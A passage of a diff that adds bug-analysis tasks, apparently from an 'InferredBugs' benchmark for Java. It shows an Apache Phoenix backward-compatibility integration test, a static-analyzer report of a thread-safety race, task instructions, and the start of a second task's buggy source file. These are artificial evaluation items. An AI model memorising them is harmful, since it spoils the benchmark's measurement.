+        zkQuorum = "localhost:" + hbaseTestUtil.getZkCluster().getClientPort();
+        url = PhoenixRuntime.JDBC_PROTOCOL + PhoenixRuntime.JDBC_PROTOCOL_SEPARATOR + zkQuorum;
+        DriverManager.registerDriver(PhoenixDriver.INSTANCE);
+    }
+    
+    @After
+    public void cleanUpAfterTest() throws Exception {
+        try {
+            DriverManager.deregisterDriver(PhoenixDriver.INSTANCE);
+        } finally {
+            hbaseTestUtil.shutdownMiniCluster();
+        }
+    }
+    
+    private static List<String> computeClientVersions() throws Exception {
+        String hbaseVersion = VersionInfo.getVersion();
+        Pattern p = Pattern.compile("\\d+\\.\\d+");
+        Matcher m = p.matcher(hbaseVersion);
+        String hbaseProfile = null;
+        if (m.find()) {
+            hbaseProfile = m.group();
+        }
+        List<String> clientVersions = Lists.newArrayList();
+        ObjectMapper mapper = new ObjectMapper();
+        mapper.configure(JsonParser.Feature.ALLOW_COMMENTS, true);
+        JsonNode jsonNode = mapper.readTree(new FileReader(COMPATIBLE_CLIENTS_JSON));
+        JsonNode HBaseProfile = jsonNode.get(hbaseProfile);
+        for (final JsonNode clientVersion : HBaseProfile) {
+            clientVersions.add(clientVersion.textValue() + "-HBase-" + hbaseProfile);
+        }
+        return clientVersions;
+    }
+
+    /**
+     * Scenario: 
+     * 1. Old Client connects to the updated server 
+     * 2. Old Client creates tables and inserts data 
+     * 3. New Client reads the data inserted by the old client
+     * 
+     * @throws Exception
+     */
+    @Test
+    public void testUpsertWithOldClient() throws Exception {
+        checkForPreConditions();
+        // Insert data with old client and read with new client
+        executeQueryWithClientVersion(compatibleClientVersion, CREATE_ADD);
+        executeQueriesWithCurrentVersion(QUERY);
+        assertTrue(compareOutput(CREATE_ADD, QUERY));
+    }
+
+    /**
+     * Scenario: 
+     * 1. New Client connects to the updated server 
+     * 2. New Client creates tables and inserts data 
+     * 3. Old Client reads the data inserted by the old client
+     * 
+     * @throws Exception
+     */
+    @Test
+    public void testSelectWithOldClient() throws Exception {
+        checkForPreConditions();
+        // Insert data with new client and read with old client
+        executeQueriesWithCurrentVersion(CREATE_ADD);
+        executeQueryWithClientVersion(compatibleClientVersion, QUERY);
+        assertTrue(compareOutput(CREATE_ADD, QUERY));
+    }
+
+    /**
+     * Scenario: 
+     * 1. Old Client connects to the updated server 
+     * 2. Old Client creates tables and inserts data 
+     * 3. New Client reads the data inserted by the old client 
+     * 4. New Client inserts more data into the tables created by old client 
+     * 5. Old Client reads the data inserted by new client
+     * 
+     * @throws Exception
+     */
+    @Test
+    public void testSelectUpsertWithNewClient() throws Exception {
+        checkForPreConditions();
+        // Insert data with old client and read with new client
+        executeQueryWithClientVersion(compatibleClientVersion, CREATE_ADD);
+        executeQueriesWithCurrentVersion(QUERY);
+        assertTrue(compareOutput(CREATE_ADD, QUERY));
+
+        // Insert more data with new client and read with old client
+        executeQueriesWithCurrentVersion(ADD_DATA);
+        executeQueryWithClientVersion(compatibleClientVersion, QUERY_MORE);
+        assertTrue(compareOutput(ADD_DATA, QUERY_MORE));
+    }
+
+    /**
+     * Scenario: 
+     * 1. New Client connects to the updated server 
+     * 2. New Client creates tables and inserts data 
+     * 3. Old Client reads the data inserted by the old client 
+     * 4. Old Client inserts more data into the tables created by old client 
+     * 5. New Client reads the data inserted by new client
+     * 
+     * @throws Exception
+     */
+    @Test
+    public void testSelectUpsertWithOldClient() throws Exception {
+        checkForPreConditions();
+        // Insert data with new client and read with old client
+        executeQueriesWithCurrentVersion(CREATE_ADD);
+        executeQueryWithClientVersion(compatibleClientVersion, QUERY);
+        assertTrue(compareOutput(CREATE_ADD, QUERY));
+
+        // Insert more data with old client and read with new client
+        executeQueryWithClientVersion(compatibleClientVersion, ADD_DATA);
+        executeQueriesWithCurrentVersion(QUERY_MORE);
+        assertTrue(compareOutput(ADD_DATA, QUERY_MORE));
+    }
+
+    /**
+     * Scenario: 
+     * 1. Old Client connects to the updated server 
+     * 2. Old Client creates tables and inserts data 
+     * 3. New Client reads the data inserted by the old client 
+     * 4. Old Client creates and deletes the data
+     * 
+     * @throws Exception
+     */
+    @Test
+    public void testUpsertDeleteWithOldClient() throws Exception {
+        checkForPreConditions();
+        // Insert data with old client and read with new client
+        executeQueryWithClientVersion(compatibleClientVersion, CREATE_ADD);
+        executeQueriesWithCurrentVersion(QUERY);
+        assertTrue(compareOutput(CREATE_ADD, QUERY));
+
+        // Deletes with the old client
+        executeQueryWithClientVersion(compatibleClientVersion, ADD_DELETE);
+        executeQueryWithClientVersion(compatibleClientVersion, QUERY_ADD_DELETE);
+        assertTrue(compareOutput(ADD_DELETE, QUERY_ADD_DELETE));
+    }
+
+    /**
+     * Scenario: 
+     * 1. New Client connects to the updated server 
+     * 2. New Client creates tables and inserts data 
+     * 3. Old Client reads the data inserted by the old client 
+     * 4. New Client creates and deletes the data
+     * 
+     * @throws Exception
+     */
+    @Test
+    public void testUpsertDeleteWithNewClient() throws Exception {
+        checkForPreConditions();
+        // Insert data with old client and read with new client
+        executeQueriesWithCurrentVersion(CREATE_ADD);
+        executeQueryWithClientVersion(compatibleClientVersion, QUERY);
+        assertTrue(compareOutput(CREATE_ADD, QUERY));
+
+        // Deletes with the new client
+        executeQueriesWithCurrentVersion(ADD_DELETE);
+        executeQueriesWithCurrentVersion(QUERY_ADD_DELETE);
+        assertTrue(compareOutput(ADD_DELETE, QUERY_ADD_DELETE));
+    }
+    
+    private void checkForPreConditions() throws Exception {
+        // For the first code cut of any major version, there wouldn't be any backward compatible
+        // clients. Hence the test wouldn't run and just return true when the client  
+        // version to be tested is same as current version
+        assumeFalse(compatibleClientVersion.contains(MetaDataProtocol.CURRENT_CLIENT_VERSION));
+        // Make sure that cluster is clean before test execution with no system tables
+        try (org.apache.hadoop.hbase.client.Connection conn = 
+                ConnectionFactory.createConnection(conf)) {
+            Admin admin = conn.getAdmin();
+            assertFalse(admin.tableExists(TableName.valueOf(QueryConstants.SYSTEM_SCHEMA_NAME, 
+                    PhoenixDatabaseMetaData.SYSTEM_CATALOG_TABLE)));
+        }       
+    }
+
+    // Executes the queries listed in the operation file with a given client version
+    private void executeQueryWithClientVersion(String clientVersion, String operation)
+            throws Exception {
+        String BASH = "/bin/bash";
+        String EXECUTE_QUERY_SH = "src/it/scripts/execute_query.sh";
+
+        List<String> cmdParams = Lists.newArrayList();
+        cmdParams.add(BASH);
+        cmdParams.add(EXECUTE_QUERY_SH);
+        cmdParams.add(zkQuorum);
+        cmdParams.add(clientVersion);
+
+        cmdParams.add(new File(SQL_DIR + operation + SQL_EXTENSION).getAbsolutePath());
+        cmdParams.add(
+            new File(RESULT_DIR + RESULT_PREFIX + operation + TEXT_EXTENSION).getAbsolutePath());
+        cmdParams.add(System.getProperty("java.io.tmpdir"));
+
+        if (System.getProperty("maven.home") != null) {
+            cmdParams.add(System.getProperty("maven.home"));
+        }
+
+        ProcessBuilder pb = new ProcessBuilder(cmdParams);
+        final Process p = pb.start();
+        final StringBuffer sb = new StringBuffer();
+        //Capture the error stream if any from the execution of the script
+        Thread errorStreamThread = new Thread() {
+            @Override
+            public void run() {
+                try {
+                    BufferedReader reader = new BufferedReader(
+                            new InputStreamReader(p.getErrorStream()));
+                    String line = null;
+                    while ((line = reader.readLine()) != null) {
+                        sb.append(line);
+                    }
+                    reader.close();
+                } catch (final Exception e) {
+                    e.printStackTrace();
+                }
+            }
+        };
+        errorStreamThread.start();
+        assertEquals(sb.toString(), 0, p.waitFor());
+    }
+
+    // Executes the SQL commands listed in the given operation file from the sql_files directory
+    private ResultSet executeQueriesWithCurrentVersion(String operation) throws Exception {
+        Properties props = PropertiesUtil.deepCopy(TEST_PROPERTIES);
+        try (Connection conn = DriverManager.getConnection(url, props)) {
+            StringBuilder sb = new StringBuilder();
+            BufferedReader reader =
+                    new BufferedReader(new FileReader(SQL_DIR + operation + SQL_EXTENSION));
+            String sqlCommand;
+            ResultSet rs = null;
+            while ((sqlCommand = reader.readLine()) != null) {
+                sqlCommand = sqlCommand.trim();
+                if (sqlCommand.length() == 0 || sqlCommand.startsWith("/") || sqlCommand.startsWith("*")) continue;
+                sb.append(sqlCommand);
+            }
+            reader.close();
+            
+            String[] sqlCommands = sb.toString().split(";");
+            try (BufferedWriter br = new BufferedWriter(
+                new FileWriter(RESULT_DIR + RESULT_PREFIX + operation + TEXT_EXTENSION))) {
+                for (int i = 0; i < sqlCommands.length; i++) {
+                    PreparedStatement stmt = conn.prepareStatement(sqlCommands[i]);
+                    stmt.execute();
+                    rs = stmt.getResultSet();
+                    if (rs != null) {
+                        saveResultSet(rs, br);
+                    }
+                    conn.commit();
+                }
+                return rs;
+            }
+        }        
+    }
+
+    // Saves the result set to a text file to be compared against the gold file for difference
+    private void saveResultSet(ResultSet rs, BufferedWriter br) throws Exception {
+        ResultSetMetaData rsm = rs.getMetaData();
+        int columnCount = rsm.getColumnCount();
+        String row = formatStringWithQuotes(rsm.getColumnName(1));
+        for (int i = 2; i <= columnCount; i++) {
+            row = row + "," + formatStringWithQuotes(rsm.getColumnName(i));
+        }
+        br.write(row);
+        br.write("\n");
+        while (rs.next()) {
+            row = formatStringWithQuotes(rs.getString(1));
+            for (int i = 2; i <= columnCount; i++) {
+                row = row + "," + formatStringWithQuotes(rs.getString(i));
+            }
+            br.write(row);
+            br.write("\n");
+        }
+    }
+
+    private String formatStringWithQuotes(String str) {
+        return (str != null) ? String.format("\'%s\'", str) : "\'\'";
+    }
+
+    // Compares the result file against the gold file to match for the expected output
+    // for the given operation
+    private boolean compareOutput(String gold, String result) throws Exception {
+        BufferedReader goldFileReader = new BufferedReader(new FileReader(
+                        new File(RESULT_DIR + "gold_query_" + gold + TEXT_EXTENSION)));
+        BufferedReader resultFileReader = new BufferedReader(new FileReader(
+                        new File(RESULT_DIR + RESULT_PREFIX + result + TEXT_EXTENSION)));
+
+        List<String> resultFile = Lists.newArrayList();
+        List<String> goldFile = Lists.newArrayList();
+
+        String line = null;
+        while ((line = resultFileReader.readLine()) != null) {
+            resultFile.add(line.trim());
+        }
+        resultFileReader.close();
+
+        while ((line = goldFileReader.readLine()) != null) {
+            line = line.trim();
+            if ( !(line.isEmpty() || line.startsWith("*") || line.startsWith("/"))) {
+                goldFile.add(line);
+            }           
+        }
+        goldFileReader.close();
+
+        // We take the first line in gold file and match against the result file to exclude any
+        // other WARNING messages that comes as a result of the query execution
+        int index = resultFile.indexOf(goldFile.get(0));
+        resultFile = resultFile.subList(index, resultFile.size());
+        return resultFile.equals(goldFile);
+    }
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.phoenix.end2end.BackwardCompatibilityIT.testUpsertDeleteWithOldClient` indirectly reads without synchronization from `end2end.BackwardCompatibilityIT.org.apache.phoenix.end2end.BackwardCompatibilityIT.conf`. Potentially races with write in method `BackwardCompatibilityIT.doSetup()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BackwardCompatibilityIT.testUpsertDeleteWithOldClient()
+
+### Procedure Id:
+org.apache.phoenix.end2end.BackwardCompatibilityIT.testUpsertDeleteWithOldClient():void.380f063065e0d0f38a11e635e329fe8e
+
+### File:
+phoenix-core/src/it/java/org/apache/phoenix/end2end/BackwardCompatibilityIT.java
+
+### Key:
+BackwardCompatibilityIT.java|testUpsertDeleteWithOldClient|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+6c902b35e863d3d8ae30fea12373cdf3
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6063/instruction.md b/inferredbugs-6063/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d060edd69f4ba0cde590df1a9f4c16c3446052d8
--- /dev/null
+++ b/inferredbugs-6063/instruction.md
@@ -0,0 +1,2336 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** phoenix
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.phoenix.query;
+
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.COLUMN_COUNT;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.COLUMN_FAMILY;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.COLUMN_NAME;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.COLUMN_SIZE;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.DATA_TABLE_NAME;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.DATA_TABLE_NAME_BYTES;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.DATA_TYPE;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.DECIMAL_DIGITS;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.DEFAULT_COLUMN_FAMILY_NAME;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.IMMUTABLE_ROWS;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.INDEX_STATE;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.KEY_SEQ;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.LINK_TYPE;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.NULLABLE;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.ORDINAL_POSITION;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.PK_NAME;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.SALT_BUCKETS;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.SORT_ORDER;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.SYSTEM_CATALOG_NAME;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.SYSTEM_CATALOG_NAME_BYTES;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.TABLE_CAT;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.TABLE_NAME;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.TABLE_SCHEM;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.TABLE_SEQ_NUM;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.TABLE_TYPE;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.TABLE_TYPE_BYTES;
+import static org.apache.phoenix.jdbc.PhoenixDatabaseMetaData.TENANT_ID;
+import static org.apache.phoenix.query.QueryServicesOptions.DEFAULT_DROP_METADATA;
+
+import java.io.IOException;
+import java.sql.Connection;
+import java.sql.DriverManager;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Properties;
+import java.util.Set;
+import java.util.StringTokenizer;
+import java.util.TreeMap;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.ConcurrentMap;
+
+import org.apache.hadoop.conf.Configuration;
+import org.apache.hadoop.hbase.Cell;
+import org.apache.hadoop.hbase.HBaseConfiguration;
+import org.apache.hadoop.hbase.HColumnDescriptor;
+import org.apache.hadoop.hbase.HConstants;
+import org.apache.hadoop.hbase.HRegionLocation;
+import org.apache.hadoop.hbase.HTableDescriptor;
+import org.apache.hadoop.hbase.TableExistsException;
+import org.apache.hadoop.hbase.TableName;
+import org.apache.hadoop.hbase.client.Append;
+import org.apache.hadoop.hbase.client.HBaseAdmin;
+import org.apache.hadoop.hbase.client.HConnection;
+import org.apache.hadoop.hbase.client.HTableInterface;
+import org.apache.hadoop.hbase.client.Increment;
+import org.apache.hadoop.hbase.client.Mutation;
+import org.apache.hadoop.hbase.client.Result;
+import org.apache.hadoop.hbase.client.ResultScanner;
+import org.apache.hadoop.hbase.client.Scan;
+import org.apache.hadoop.hbase.client.coprocessor.Batch;
+import org.apache.hadoop.hbase.filter.CompareFilter.CompareOp;
+import org.apache.hadoop.hbase.filter.SingleColumnValueFilter;
+import org.apache.hadoop.hbase.io.ImmutableBytesWritable;
+import org.apache.hadoop.hbase.ipc.BlockingRpcCallback;
+import org.apache.hadoop.hbase.ipc.ServerRpcController;
+import org.apache.hadoop.hbase.protobuf.generated.ClientProtos.MutationProto;
+import org.apache.hadoop.hbase.util.Bytes;
+import org.apache.hadoop.hbase.util.Pair;
+import org.apache.hadoop.hbase.util.VersionInfo;
+import org.apache.hadoop.hbase.zookeeper.ZKConfig;
+import org.apache.phoenix.compile.MutationPlan;
+import org.apache.phoenix.coprocessor.GroupedAggregateRegionObserver;
+import org.apache.phoenix.coprocessor.MetaDataEndpointImpl;
+import org.apache.phoenix.coprocessor.MetaDataProtocol;
+import org.apache.phoenix.coprocessor.MetaDataProtocol.MetaDataMutationResult;
+import org.apache.phoenix.coprocessor.MetaDataProtocol.MutationCode;
+import org.apache.phoenix.coprocessor.MetaDataRegionObserver;
+import org.apache.phoenix.coprocessor.ScanRegionObserver;
+import org.apache.phoenix.coprocessor.SequenceRegionObserver;
+import org.apache.phoenix.coprocessor.ServerCachingEndpointImpl;
+import org.apache.phoenix.coprocessor.UngroupedAggregateRegionObserver;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.AddColumnRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.ClearCacheRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.ClearCacheResponse;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.CreateTableRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.DropColumnRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.DropTableRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.GetTableRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.GetVersionRequest;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.GetVersionResponse;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.MetaDataResponse;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.MetaDataService;
+import org.apache.phoenix.coprocessor.generated.MetaDataProtos.UpdateIndexStateRequest;
+import org.apache.phoenix.exception.PhoenixIOException;
+import org.apache.phoenix.exception.SQLExceptionCode;
+import org.apache.phoenix.exception.SQLExceptionInfo;
+import org.apache.phoenix.execute.MutationState;
+import org.apache.phoenix.hbase.index.Indexer;
+import org.apache.phoenix.hbase.index.covered.CoveredColumnsIndexBuilder;
+import org.apache.phoenix.hbase.index.util.KeyValueBuilder;
+import org.apache.phoenix.index.PhoenixIndexBuilder;
+import org.apache.phoenix.index.PhoenixIndexCodec;
+import org.apache.phoenix.jdbc.PhoenixConnection;
+import org.apache.phoenix.jdbc.PhoenixDatabaseMetaData;
+import org.apache.phoenix.jdbc.PhoenixEmbeddedDriver.ConnectionInfo;
+import org.apache.phoenix.protobuf.ProtobufUtil;
+import org.apache.phoenix.schema.EmptySequenceCacheException;
+import org.apache.phoenix.schema.MetaDataSplitPolicy;
+import org.apache.phoenix.schema.NewerTableAlreadyExistsException;
+import org.apache.phoenix.schema.PColumn;
+import org.apache.phoenix.schema.PColumnFamily;
+import org.apache.phoenix.schema.PDataType;
+import org.apache.phoenix.schema.PMetaData;
+import org.apache.phoenix.schema.PMetaDataImpl;
+import org.apache.phoenix.schema.PName;
+import org.apache.phoenix.schema.PNameFactory;
+import org.apache.phoenix.schema.PTable;
+import org.apache.phoenix.schema.PTable.LinkType;
+import org.apache.phoenix.schema.PTableKey;
+import org.apache.phoenix.schema.PTableType;
+import org.apache.phoenix.schema.ReadOnlyTableException;
+import org.apache.phoenix.schema.SaltingUtil;
+import org.apache.phoenix.schema.Sequence;
+import org.apache.phoenix.schema.SequenceKey;
+import org.apache.phoenix.schema.TableAlreadyExistsException;
+import org.apache.phoenix.schema.TableNotFoundException;
+import org.apache.phoenix.util.ByteUtil;
+import org.apache.phoenix.util.ConfigUtil;
+import org.apache.phoenix.util.JDBCUtil;
+import org.apache.phoenix.util.MetaDataUtil;
+import org.apache.phoenix.util.PhoenixRuntime;
+import org.apache.phoenix.util.PropertiesUtil;
+import org.apache.phoenix.util.ReadOnlyProps;
+import org.apache.phoenix.util.SchemaUtil;
+import org.apache.phoenix.util.ServerUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.google.common.base.Objects;
+import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.Iterators;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import com.google.common.io.Closeables;
+import com.google.protobuf.HBaseZeroCopyByteString;
+
+public class ConnectionQueryServicesImpl extends DelegateQueryServices implements ConnectionQueryServices {
+    private static final Logger logger = LoggerFactory.getLogger(ConnectionQueryServicesImpl.class);
+    private static final int INITIAL_CHILD_SERVICES_CAPACITY = 100;
+    private static final int DEFAULT_OUT_OF_ORDER_MUTATIONS_WAIT_TIME_MS = 1000;
+    private static final String OLD_DEFAULT_COLUMN_FAMILY = "_0";
+    private static final byte[] OLD_DEFAULT_COLUMN_FAMILY_BYTES = Bytes.toBytes(OLD_DEFAULT_COLUMN_FAMILY);
+    private static final String OLD_SYSTEM_SCHEMA_NAME = "SYSTEM";
+    private static final String OLD_SYSTEM_TABLE_NAME = "TABLE";
+    private static final byte[] OLD_SYSTEM_TABLE_NAME_BYTES = SchemaUtil.getTableNameAsBytes("SYSTEM", "TABLE");
+    // Don't use SYSTEM as the schema name, otherwise we'll treat it as a system table
+    private static final String OLD_SYSTEM_TABLE_AS_VIEW_NAME = SchemaUtil.getTableName("META", "\"TABLE\"");
+    
+    public static final String UPGRADE_TO_3_0 = "UpgradeTo30";
+    public static final String UPGRADE_TO_2_2 = "UpgradeTo22";
+    
+    protected final Configuration config;
+    // Copy of config.getProps(), but read-only to prevent synchronization that we
+    // don't need.
+    private final ReadOnlyProps props;
+    private HConnection connection;
+    private final StatsManager statsManager;
+    private final ConcurrentHashMap<ImmutableBytesWritable,ConnectionQueryServices> childServices;
+    // Cache the latest meta data here for future connections
+    private volatile PMetaData latestMetaData;
+    private final Object latestMetaDataLock = new Object();
+    // Lowest HBase version on the cluster.
+    private int lowestClusterHBaseVersion = Integer.MAX_VALUE;
+    private boolean hasInvalidIndexConfiguration = false;
+    private int connectionCount = 0;
+    private WhiteList upgradeWhiteList = null;
+    
+    private ConcurrentMap<SequenceKey,Sequence> sequenceMap = Maps.newConcurrentMap();
+    private KeyValueBuilder kvBuilder;
+
+    private PMetaData newEmptyMetaData() {
+        long maxSizeBytes = props.getLong(QueryServices.MAX_CLIENT_METADATA_CACHE_SIZE_ATTRIB,
+                QueryServicesOptions.DEFAULT_MAX_CLIENT_METADATA_CACHE_SIZE);
+        return new PMetaDataImpl(INITIAL_META_DATA_TABLE_CAPACITY, maxSizeBytes);
+    }
+    /**
+     * Construct a ConnectionQueryServicesImpl that represents a connection to an HBase
+     * cluster.
+     * @param services base services from where we derive our default configuration
+     * @param connectionInfo to provide connection information
+     * @throws SQLException
+     */
+    public ConnectionQueryServicesImpl(QueryServices services, ConnectionInfo connectionInfo) throws SQLException {
+        super(services);
+        Configuration config = HBaseFactoryProvider.getConfigurationFactory().getConfiguration();
+        for (Entry<String,String> entry : services.getProps()) {
+            config.set(entry.getKey(), entry.getValue());
+        }
+        for (Entry<String,String> entry : connectionInfo.asProps()) {
+            config.set(entry.getKey(), entry.getValue());
+        }
+        // Without making a copy of the configuration we cons up, we lose some of our properties
+        // on the server side during testing.
+        this.config = HBaseConfiguration.create(config);
+        // set replication required parameter
+        ConfigUtil.setReplicationConfigIfAbsent(this.config);
+        this.props = new ReadOnlyProps(this.config.iterator());
+        this.latestMetaData = newEmptyMetaData();
+        // TODO: should we track connection wide memory usage or just org-wide usage?
+        // If connection-wide, create a MemoryManager here, otherwise just use the one from the delegate
+        this.childServices = new ConcurrentHashMap<ImmutableBytesWritable,ConnectionQueryServices>(INITIAL_CHILD_SERVICES_CAPACITY);
+        int statsUpdateFrequencyMs = this.getProps().getInt(QueryServices.STATS_UPDATE_FREQ_MS_ATTRIB, QueryServicesOptions.DEFAULT_STATS_UPDATE_FREQ_MS);
+        int maxStatsAgeMs = this.getProps().getInt(QueryServices.MAX_STATS_AGE_MS_ATTRIB, QueryServicesOptions.DEFAULT_MAX_STATS_AGE_MS);
+        this.statsManager = new StatsManagerImpl(this, statsUpdateFrequencyMs, maxStatsAgeMs);
+        
+        // find the HBase version and use that to determine the KeyValueBuilder that should be used
+        String hbaseVersion = VersionInfo.getVersion();
+        this.kvBuilder = KeyValueBuilder.get(hbaseVersion);
+        
+        // connection is initialized inside init()
+        connection = null;
+    }
+
+    @Override
+    public StatsManager getStatsManager() {
+        return this.statsManager;
+    }
+    
+    @Override
+    public HTableInterface getTable(byte[] tableName) throws SQLException {
+        try {
+            return HBaseFactoryProvider.getHTableFactory().getTable(tableName, connection, getExecutor());
+        } catch (org.apache.hadoop.hbase.TableNotFoundException e) {
+            byte[][] schemaAndTableName = new byte[2][];
+            SchemaUtil.getVarChars(tableName, schemaAndTableName);
+            throw new TableNotFoundException(Bytes.toString(schemaAndTableName[0]), Bytes.toString(schemaAndTableName[1]));
+        } catch (IOException e) {
+        	throw new SQLException(e);
+        } 
+    }
+    
+    @Override
+    public HTableDescriptor getTableDescriptor(byte[] tableName) throws SQLException {
+        HTableInterface htable = getTable(tableName);
+        try {
+            return htable.getTableDescriptor();
+        } catch (IOException e) {
+            if(e instanceof org.apache.hadoop.hbase.TableNotFoundException || 
+                e.getCause() instanceof org.apache.hadoop.hbase.TableNotFoundException) {
+              byte[][] schemaAndTableName = new byte[2][];
+              SchemaUtil.getVarChars(tableName, schemaAndTableName);
+              throw new TableNotFoundException(Bytes.toString(schemaAndTableName[0]), Bytes.toString(schemaAndTableName[1]));
+            } 
+            throw new RuntimeException(e);
+        } finally {
+            Closeables.closeQuietly(htable);
+        }
+    }
+
+    @Override
+    public ReadOnlyProps getProps() {
+        return props;
+    }
+
+    /**
+     * Closes the underlying connection to zookeeper. The QueryServices
+     * may not be used after that point. When a Connection is closed,
+     * this is not called, since these instances are pooled by the
+     * Driver. Instead, the Driver should call this if the QueryServices
+     * is ever removed from the pool
+     */
+    @Override
+    public void close() throws SQLException {
+        SQLException sqlE = null;
+        try {
+            // Attempt to return any unused sequences.
+            returnAllSequences(this.sequenceMap);
+        } catch (SQLException e) {
+            sqlE = e;
+        } finally {
+            try {
+                // Clear any client-side caches.  
+                statsManager.clearStats();
+            } catch (SQLException e) {
+                if (sqlE == null) {
+                    sqlE = e;
+                } else {
+                    sqlE.setNextException(e);
+                }
+            } finally {
+                try {
+                    childServices.clear();
+                    latestMetaData = null;
+                    connection.close();
+                } catch (IOException e) {
+                    if (sqlE == null) {
+                        sqlE = ServerUtil.parseServerException(e);
+                    } else {
+                        sqlE.setNextException(ServerUtil.parseServerException(e));
+                    }
+                } finally {
+                    try {
+                        super.close();
+                    } catch (SQLException e) {
+                        if (sqlE == null) {
+                            sqlE = e;
+                        } else {
+                            sqlE.setNextException(e);
+                        }
+                    } finally {
+                        if (sqlE != null) {
+                            throw sqlE;
+                        }
+                    }
+                }
+            }
+        }
+    }    
+
+    protected ConnectionQueryServices newChildQueryService() {
+        return new ChildQueryServices(this);
+    }
+
+    /**
+     * Get (and create if necessary) a child QueryService for a given tenantId.
+     * The QueryService will be cached for the lifetime of the parent QueryService
+     * @param tenantId the tenant ID
+     * @return the child QueryService
+     */
+    @Override
+    public ConnectionQueryServices getChildQueryServices(ImmutableBytesWritable tenantId) {
+        ConnectionQueryServices childQueryService = childServices.get(tenantId);
+        if (childQueryService == null) {
+            childQueryService = newChildQueryService();
+            ConnectionQueryServices prevQueryService = childServices.putIfAbsent(tenantId, childQueryService);
+            return prevQueryService == null ? childQueryService : prevQueryService;
+        }
+        return childQueryService;
+    }
+
+    @Override
+    public void clearTableRegionCache(byte[] tableName) throws SQLException {
+        connection.clearRegionCache(TableName.valueOf(tableName));
+    }
+    
+    @Override
+    public List<HRegionLocation> getAllTableRegions(byte[] tableName) throws SQLException {
+        /*
+         * Use HConnection.getRegionLocation as it uses the cache in HConnection, while getting
+         * all region locations from the HTable doesn't. 
+         */
